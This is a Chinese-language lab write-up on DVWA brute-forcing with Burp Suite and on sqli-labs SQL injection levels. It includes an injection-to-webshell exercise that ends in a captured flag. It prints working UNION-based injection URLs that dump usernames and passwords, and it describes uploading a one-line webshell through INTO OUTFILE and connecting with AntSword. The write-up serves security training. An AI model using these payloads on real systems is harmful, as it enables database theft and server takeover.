一、phpstudy搭建dvwa
1. 搭建DVWA
2. 修改数据库密码
3. 启动phpstudy,访问dvwa
二、dvwa brute force模块使用burpsuite暴力破解
1. 开启burpsuit 代理
2. 抓取数据,将其发送到intruder模块
将password设置为破解的payload
选择一个字典包,进行破解
修改线程,提高破解速率
三、安全实验–sql注入–sqli-labs靶场
第一关
1、输入 \ 判断闭合类型
http://bbe0a838.yunyansec.com/Less-1/?id=1\
由此可知是 ‘ 闭合
2、输入单引号进行闭合
http://bbe0a838.yunyansec.com/Less-1/?id=1' –+
3、输入order by 探测字段列数
Order by 5
Order by 3
Order by 4
由此可判断有3列
4、使用union select 获取数据库信息
http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,3 –+
可在2,3处进行SQL注入
获取数据库版本信息、数据库名等
http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,database(),@@version –+
获取数据库security中的表名
http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取数据表users中的字段
http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
获取users表中的数据
http://bbe0a838.yunyansec.com/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
第二关
1、输入 \ 判断闭合类型
<http://bbe0a838.yunyansec.com/Less-1/?id=2\>
再使用and 和 or 进行判断
http://bbe0a838.yunyansec.com/Less-2/?id=2 and 1=1
http://bbe0a838.yunyansec.com/Less-2/?id=2 and 1=2
由此可以判断是数字型注入。
2、输入order by 探测字段列数
4、使用union select 获取数据库信息
获取数据库版本信息、数据库名等
http://b35c43da.yunyansec.com/Less-2/?id=-2 union select 1,database(),user()
获取数据库security中的表名
获取数据表users中的字段
获取users表中的数据
第三关
1、输入 \ 判断闭合类型
由此可以判断是 ‘) 进行闭合的。
2、输入order by 探测字段列数
3、获取数据库信息
获取数据库security中的表名
获取数据表users中的字段
获取users表中的数据
第七关
1、输入id值观察
输入 \ 、’ 、” 都有报错,但是没有显示具体的错误
输入 ’)
经过查看了sqli-labs中的源码:原来是使用的 ‘)) ,怪不得试不出来。
看到了题目中的outfile ,让我们上传文件,但是这里搞不到路径,
想了想没办法,只能去第一关看看整体路径;
因为云演上的网络路径上传一直不成功,所以,又做了自己搭建的sqli-labs
上传一句话
得到shell
第十一关
1、输入 \ 判断闭合类型
可以得出是 ’ 闭合类型
2、输入order by 探测字段列数
获取数据库security中的表名
获取数据表users中的字段
获取users表中的数据
四、安全实验–sql注入–sql注入getshell
1、判断是否存在SQL注入
由此可知,该新闻页面存在SQL注入。
2、使用order by 探测
3、使用union select 联合查询
获取数据库信息
4、上传一句话木马
5、使用中国蚁剑连接
得到webshell
(www-data:/var/www) $ cat flag.txt
flag{b4dd36207eb58098c458fe9d9498727b}
五、总结SQL注入
一、判断是否存在注入点
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点。
二、SQL注入漏洞利用
**1、利用order by 获取字段数; **
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点。
2、使用union select 联合查询,获取表名
0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() –+
3、使用union select 联合查询,获取字段名;
0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’ –+
4、利用union select联合查询,获取字段值。
0’union select 1,group_concat(username,0x3a,password),3 from users–+